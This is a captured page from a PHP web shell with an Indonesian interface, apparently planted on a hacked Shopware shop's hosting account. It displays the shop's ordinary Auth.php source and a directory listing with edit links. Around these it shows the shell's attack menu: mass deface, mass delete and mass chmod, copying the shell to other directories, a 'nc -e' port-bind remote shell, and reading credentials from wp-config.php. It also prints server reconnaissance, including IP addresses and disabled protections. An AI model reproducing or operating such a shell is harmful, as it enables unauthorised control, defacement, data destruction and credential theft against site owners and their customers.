WPZ

berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/shop_styroporzuschnitte24_de/engine/Shopware/Components/Auth.php (5.26 KB)
<?php
/**
 * Shopware 5
 * Copyright (c) shopware AG
 *
 * According to our dual licensing model, this program can be used either
 * under the terms of the GNU Affero General Public License, version 3,
 * or under a proprietary license.
 *
 * The texts of the GNU Affero General Public License with an additional
 * permission and of our proprietary license can be found at and
 * in the LICENSE file you have received along with this program.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU Affero General Public License for more details.
 *
 * "Shopware" is a registered trademark of shopware AG.
 * The licensing of the program under the AGPLv3 does not imply a
 * trademark license. Therefore any rights, title and interest in
 * our trademarks remain entirely with us.
 */

/**
 * Shopware Auth component
 */
class Shopware_Components_Auth extends Enlight_Components_Auth
{
    /**
     * List with auth adapters
     * @var array
     */
    protected $_adapter = array();

    /**
     * Adapter that is current active - has a valid user session
     * @var null
     */
    protected $_baseAdapter = null; // Current active adapter

    /**
     * Get all adapters or certain one
     *
     * @param null $index
     * @return array|Zend_Auth_Adapter_Interface
     */
    public function getAdapter($index = null)
    {
        if (isset($index)) {
            return $this->_adapter[$index];
        }
        return $this->_adapter;
    }

    /**
     * Add adapter to list
     * @param Zend_Auth_Adapter_Interface $adapter
     * @return Shopware_Components_Auth
     */
    public function addAdapter(Zend_Auth_Adapter_Interface $adapter)
    {
        $this->_adapter[] = $adapter;
        return $this;
    }

    /**
     * Login method - iterate through all adapters and check for valid account
     *
     * @param string $username
     * @param string $password
     * @return Zend_Auth_Result
     */
    public function login($username, $password)
    {
        $result = null;
        $adapters = $this->getAdapter();
        foreach ($adapters as $adapter) {
            $adapter->setIdentity($username);
            $adapter->setCredential($password);

            $result = $this->authenticate($adapter);
            if ($result->isValid()) {
                $this->setBaseAdapter($adapter);
                return $result;
            }
        }
        $this->setBaseAdapter(null);
        return $result;
    }

    /**
     * Set current active adapter
     *
     * @param $adapter
     * @return \Shopware_Components_Auth
     */
    public function setBaseAdapter($adapter)
    {
        $this->_baseAdapter = $adapter;
        return $this;
    }

    /**
     * Get current active adapter
     *
     * @return Zend_Auth_Adapter_Interface
     */
    public function getBaseAdapter()
    {
        return $this->_baseAdapter;
    }

    /**
     * Do a authentication approve with a defined adapter
     *
     * @param null|Zend_Auth_Adapter_Interface $adapter
     * @return Zend_Auth_Result
     */
    public function authenticate(Zend_Auth_Adapter_Interface $adapter = null)
    {
        if ($adapter == null) {
            $adapter = $this->_baseAdapter;
        }

        $result = parent::authenticate($adapter);

        // If authentication with the current adapter was succeeded, read user data from default adapter (database)
        if ($result->isValid() && method_exists($this->getAdapter(0), 'getResultRowObject')) {
            $user = $this->getAdapter(0)->getResultRowObject();
            $this->getStorage()->write($user);
        } else {
            $this->getStorage()->clear();
        }

        return $result;
    }

    /**
     * Refresh authentication - for example expire date -
     *
     * @param null|Zend_Auth_Adapter_Interface $adapter
     * @return mixed
     */
    public function refresh(Zend_Auth_Adapter_Interface $adapter = null)
    {
        if ($adapter == null) {
            $adapter = $this->getBaseAdapter();
        }
        $result = $adapter->refresh();

        if (!$result->isValid()) {
            $this->getStorage()->clear();
        }

        return $result;
    }

    /**
     * Get an instance from this object
     * @static
     * @return Shopware_Components_Auth
     */
    public static function getInstance()
    {
        if (null === self::$_instance) {
            self::$_instance = new self();
        }

        return self::$_instance;
    }

    /**
     * Validates the given credentials of a user
     *
     * @param string $username
     * @param string $password
     * @return bool
     */
    public function isPasswordValid($username, $password)
    {
        $storage = $this->getStorage();
        $adapters = $this->getAdapter();
        $this->setStorage(new Zend_Auth_Storage_NonPersistent());

        foreach ($adapters as $adapter) {
            $adapter->setIdentity($username);
            $adapter->setCredential($password);

            $result = $this->authenticate($adapter);
            if ($result->isValid()) {
                $this->setStorage($storage);
                return true;
            }
        }

        $this->setStorage($storage);
        return false;
    }
}
namawaktuukuranownerpermaksi
..
Api/ 2016-11-07 16:02287.29 KB 76129f60960:kundendxwrx-rx-r
Auth/ 2016-11-07 16:029.48 KB 76129f60960:kundendxwrx-rx-r
Benchmark/ 2016-11-07 15:592.97 KB 76129f60960:kundendxwrx-rx-r
CategoryHandling/ 2016-11-07 15:596.7 KB 76129f60960:kundendxwrx-rx-r
Check/ 2016-11-07 16:02137.23 KB 76129f60960:kundendxwrx-rx-r
Compatibility/ 2016-11-07 15:5940.29 KB 76129f60960:kundendxwrx-rx-r
Console/ 2016-11-07 15:599.29 KB 76129f60960:kundendxwrx-rx-r
Convert/ 2016-11-07 15:5921.31 KB 76129f60960:kundendxwrx-rx-r
Cron/ 2016-11-07 15:591.8 KB 76129f60960:kundendxwrx-rx-r
DependencyInjection/ 2016-11-07 16:0289.93 KB 76129f60960:kundendxwrx-rx-r
Emotion/ 2016-11-07 15:596.4 KB 76129f60960:kundendxwrx-rx-r
Escaper/ 2016-11-07 15:595.38 KB 76129f60960:kundendxwrx-rx-r
Form/ 2016-11-07 16:0245.21 KB 76129f60960:kundendxwrx-rx-r
HttpCache/ 2016-11-07 15:5927.91 KB 76129f60960:kundendxwrx-rx-r
HttpClient/ 2016-11-07 15:59261.1 KB 76129f60960:kundendxwrx-rx-r
Install/ 2016-11-07 15:593.59 KB 76129f60960:kundendxwrx-rx-r
LegacyRequestWrapper/ 2016-11-07 15:599.77 KB 76129f60960:kundendxwrx-rx-r
License/ 2016-11-07 16:0218.86 KB 76129f60960:kundendxwrx-rx-r
Log/ 2016-11-07 16:0233.09 KB 76129f60960:kundendxwrx-rx-r
Migrations/ 2016-11-07 15:5910.92 KB 76129f60960:kundendxwrx-rx-r
Model/ 2016-11-07 16:04141.64 KB 76129f60960:kundendxwrx-rx-r
MultiEdit/ 2016-11-07 16:0298 KB 76129f60960:kundendxwrx-rx-r
Password/ 2016-11-07 16:0218.5 KB 76129f60960:kundendxwrx-rx-r
Plugin/ 2016-11-07 16:02119.2 KB 76129f60960:kundendxwrx-rx-r
ProductStream/ 2016-11-07 15:5919.08 KB 76129f60960:kundendxwrx-rx-r
Routing/ 2016-11-07 16:0258.6 KB 76129f60960:kundendxwrx-rx-r
Snippet/ 2016-11-07 16:0238.98 KB 76129f60960:kundendxwrx-rx-r
Test/ 2016-11-07 16:024.02 KB 76129f60960:kundendxwrx-rx-r
Theme/ 2016-11-07 16:02130.93 KB 76129f60960:kundendxwrx-rx-r
Thumbnail/ 2016-11-07 16:0221.71 KB 76129f60960:kundendxwrx-rx-r
Validator/ 2016-11-07 15:593.01 KB 76129f60960:kundendxwrx-rx-r
Acl.php 2016-11-07 15:586.65 KB 76129f60960:kunden-xw-x-----
edt
AttributeSubscriber.php 2016-11-07 15:584.73 KB 76129f60960:kunden-xw-x-----
edt
Auth.php 2016-11-07 15:585.26 KB 76129f60960:kunden-xw-x-----
edt
CSRFTokenValidationException.php 2016-11-07 15:581.08 KB 76129f60960:kunden-xw-x-----
edt
CSRFTokenValidator.php 2016-11-07 15:585.52 KB 76129f60960:kunden-xw-x-----
edt
CSRFWhitelistAware.php 2016-11-07 15:581.23 KB 76129f60960:kunden-xw-x-----
edt
CacheManager.php 2016-11-07 15:5812.56 KB 76129f60960:kunden-xw-x-----
edt
Config.php 2016-11-07 15:587.9 KB 76129f60960:kunden-xw-x-----
edt
ConfigLoader.php 2016-11-07 15:585.01 KB 76129f60960:kunden-xw-x-----
edt
ConfigWriter.php 2016-11-07 15:584.32 KB 76129f60960:kunden-xw-x-----
edt
ContainerAwareEventManager.php 2016-11-07 15:586.61 KB 76129f60960:kunden-xw-x-----
edt
CsvIterator.php 2016-11-07 15:586.91 KB 76129f60960:kunden-xw-x-----
edt
Document.php 2016-11-07 15:5822.91 KB 76129f60960:kunden-xw-x-----
edt
Form.php 2016-11-07 15:581.43 KB 76129f60960:kunden-xw-x-----
edt
HolidayTableUpdater.php 2016-11-07 15:584.42 KB 76129f60960:kunden-xw-x-----
edt
Licence.php 2016-11-07 15:581.25 KB 76129f60960:kunden-xw-x-----
edt
LicenseInstaller.php 2016-11-07 15:583.04 KB 76129f60960:kunden-xw-x-----
edt
Logger.php 2016-11-07 15:581.59 KB 76129f60960:kunden-xw-x-----
edt
MemoryLimit.php 2016-11-07 15:582.04 KB 76129f60960:kunden-xw-x-----
edt
Modules.php 2016-11-07 15:584.94 KB 76129f60960:kunden-xw-x-----
edt
NumberRangeIncrementer.php 2016-11-07 15:582.16 KB 76129f60960:kunden-xw-x-----
edt
NumberRangeIncrementerInterface.php 2016-11-07 15:581.65 KB 76129f60960:kunden-xw-x-----
edt
OpenSSLVerifier.php 2016-11-07 15:582.82 KB 76129f60960:kunden-xw-x-----
edt
Plugin.php 2016-11-07 15:585.31 KB 76129f60960:kunden-xw-x-----
edt
QueryAliasMapper.php 2016-11-07 15:584.62 KB 76129f60960:kunden-xw-x-----
edt
Random.php 2016-11-07 15:585.7 KB 76129f60960:kunden-xw-x-----
edt
ReflectionHelper.php 2016-11-07 15:582.11 KB 76129f60960:kunden-xw-x-----
edt
SitePageMenu.php 2016-11-07 15:585.13 KB 76129f60960:kunden-xw-x-----
edt
SitemapXMLRepository.php 2016-11-07 15:5810.86 KB 76129f60960:kunden-xw-x-----
edt
StringCompiler.php 2016-11-07 15:584.64 KB 76129f60960:kunden-xw-x-----
edt
TemplateMail.php 2016-11-07 15:587.54 KB 76129f60960:kunden-xw-x-----
edt
Theme.php 2016-11-07 15:5813.07 KB 76129f60960:kunden-xw-x-----
edt
Translation.php 2016-11-07 15:5816.25 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/shop_styroporzuschnitte24_de/engine/Shopware/Components
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK